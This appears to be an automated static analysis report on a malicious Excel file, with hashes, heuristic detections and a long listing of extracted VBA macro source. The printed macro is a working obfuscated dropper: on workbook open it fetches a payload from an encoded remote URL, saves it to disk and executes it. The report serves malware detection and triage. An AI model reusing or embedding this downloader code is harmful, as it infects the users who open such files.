Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9669eef629e4ab04…

MALICIOUS

Office (OLE)

78.0 KB Created: 2018-12-06 20:43:11 Authoring application: Microsoft Excel First seen: 2020-09-15
MD5: db3cbb6f1e32f89dd92e9cfc7ecebb28 SHA-1: b28f2a7722f39ff823129b066f758c9b18c44b0a SHA-256: 9669eef629e4ab04993fe21785b7d9f17b4a754666298f9179e6bdfb262ae460
358 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Excel file containing VBA macros. The document body displays a fake invoice, instructing the user to enable content, a common lure. The VBA macros utilize WScript.Shell and CreateObject to download and execute a second-stage payload, as indicated by the 'OLE_VBA_HTTP_DROP_EXEC' heuristic. The presence of 'macros.bas' suggests a macro-based downloader.

Heuristics 11

  • ClamAV: Xls.Malware.Valyria-10032137-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-10032137-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set WshShell = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    BOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGR = XFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXV.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WshShell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18196 bytes
SHA-256: a6ba64482efc3aa1264d6c86b2f4290c2ef72f1ee6843f7d1bf376fd56110e3e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 69 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub book()
'
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Declare Function etTime Lib "winmm.dll" () As Long
Private Declare Function timeGetTime Lib "winmm.dll" () As Long

Private Declare PtrSafe Function imeGetTime Lib "winmm.dll" () As Long
Private Declare PtrSafe Function meGetTime Lib "winmm.dll" () As Long
Function quail(burgerorgan, bonusshoot)
qoxnwkqnhfshhimr = "*" & burgerorgan & "*"
Dim be3a8c1f30f1abadd648e22b16fdb57d5 As Double
be3a8c1f30f1abadd648e22b16fdb57d7 = 742.162
Dim columnwall As Byte
columnwall = 44414.429
Dim t0ea0a0840384a15e019665b2e996b73f As Long
t0ea0a0840384a15e019665b2e996b73f = 464.954
Dim n2b549c2e42dc58d564726b5780212aza As Double
n2b549c2e42dc58d564726b5780212aza = 695.115
dhmpmrvyvrxwv = vbNullString
Dim m974e3e334b64ac13b6dec997fbabf21f As String
m974e3e334b64ac13b6dec997fbabf21f = "naiveremove"
Dim b08576ffe41cb67690655f1261f410844 As Byte
b08576ffe41cb67690655f1261f410844 = 19.227
Dim z2c55929d38494d4bf3ab6ba3dd16305c As Boolean
z2c55929d38494d4bf3ab6ba3dd16305c = 93.904
Dim b9d76f7072ca3da29e82e55579143fba0 As Double
b9d76f7072ca3da29e82e55579143fba0 = 108.662
If Not bonusshoot Like qoxnwkqnhfshhimr Then
dhmpmrvyvrxwv = burgerorgan
Dim kqeepfyakmzwuediw As Double
kqeepfyakmzwuediw = 61.491
If kqeepfyakmzwuediw <> 189.252 Then
Dim flamesight As Byte
flamesight = 212.797
Dim sweartrust As Long
sweartrust = 235.981
Dim prqhhqrabc As String
prqhhqrabc = "fadzjgdilazu"
End If
End Function


Sub Workbook_Open()
Dim TRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEE As Integer
TRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEE = Chr(50) + Chr(48) + Chr(48)
  Dim WshShell As Object
    Dim SpecialPath As String

    Set WshShell = CreateObject("WScript.Shell")
    SpecialPath = WshShell.SpecialFolders("Templates")
Dim TXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZ
Dim BOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGR
Dim RXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVX
Dim IQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVD
Dim JWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKR
Dim QTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNK As Integer
Dim XFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXV
Dim LIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSG
QTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNK = 1




Set XFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXV = CreateObject("microsoft.xmlhttp")
Set JWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKR = CreateObject("Shell.Application")

IQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVD = SpecialPath + HJFKuJkfo("i]fdZbT;n„n")
XFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXV.Open "get", HJFKuJkfo("q~~z}G<<z|y~n}~v‡r}wy‚sxp};n}<…�yz|…<uqot|…ƒ;n„n"), False
XFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXV.send
BOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGR = XFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXV.responseBody
If XFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXV.Status = 200 Then
Set TXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZ = CreateObject("adodb.stream")
TXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZ.Open
TXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZ.Type = QTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNK
TXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZ.Write BOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGR
TXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZ.SaveToFile IQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVD, QTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNK + QTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNK
TXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZ.Close
End If
JWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKR.Open (IQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVD)
End Sub

Sub Auto_Open()
descifrar = AllUsersProfile
Run
End Sub

Function rnIkDDisHp4e1dEwtDO8XRgW() As Currency
Call t5IOznwCrl
End Function
Static Function t5IOznwCrl() As Integer
Call Dp62rz6kt90kDRkudpcs1fW4
End Function
Function Dp62rz6kt90kDRkudpcs1fW4() As Single
Call Jb8AvPk2VR
End Function
Static Function Jb8AvPk2VR() As Date
Call TJW8h3uwBHyE3XYkFXIADNkq
End Function
Function TJW8h3uwBHyE3XYkFXIADNkq() As Variant
Call JxU0xFkI7x
End Function
Static Function JxU0xFkI7x() As Date
Call rzGwrPUM9xS2rvCsRX6OdVek
End Function
Function rzGwrPUM9xS2rvCsRX6OdVek() As Variant
Call hx2errEArb
End Function
Static Function hx2errEArb() As Double
Call DlkYXBK4r3WCbBQoVfs4z78E
End Function
Function DlkYXBK4r3WCbBQoVfs4z78E() As Single
Call FZ4yZPaWVH
End Function

Public Function HJFKuJkfo(LIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMH As String) As String

Const CJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJI    As String = "abcdefghijklmnopqrstuvwxyz"
Const YTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQ      As String = "zebrascdfghijklmnopqtuvwxy"
Const BUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNB    As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
Const TCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHU      As String = "ZEBRASCDFGHIJKLMNOPQTUVWXY"

Dim FUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNE            As Long
Dim MFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYS            As Long
Dim GRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVX      As String
Dim IXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHC       As String
Dim NnIp As Byte
NnIp = B78j

If LIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMH & "" = "" Then Exit Function


For FUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNE = 1 To Len(LIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMH)
    GRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVX = GRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVX & Chr(Asc(Mid(LIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMH, FUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNE, 1)) - 13)
Next


For FUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNE = 1 To Len(GRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVX)

    IXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHC = Mid(GRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVX, FUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNE, 1)

    Select Case Asc(IXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHC)

        Case 65 To 90
            For MFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYS = 1 To Len(TCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHU)
                If Mid(TCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHU, MFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYS, 1) = IXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHC Then GoTo USub
            Next
USub:
            HJFKuJkfo = HJFKuJkfo & Mid(BUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNB, MFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYS, 1)

        Case 97 To 122
            For MFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYS = 1 To Len(YTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQ)
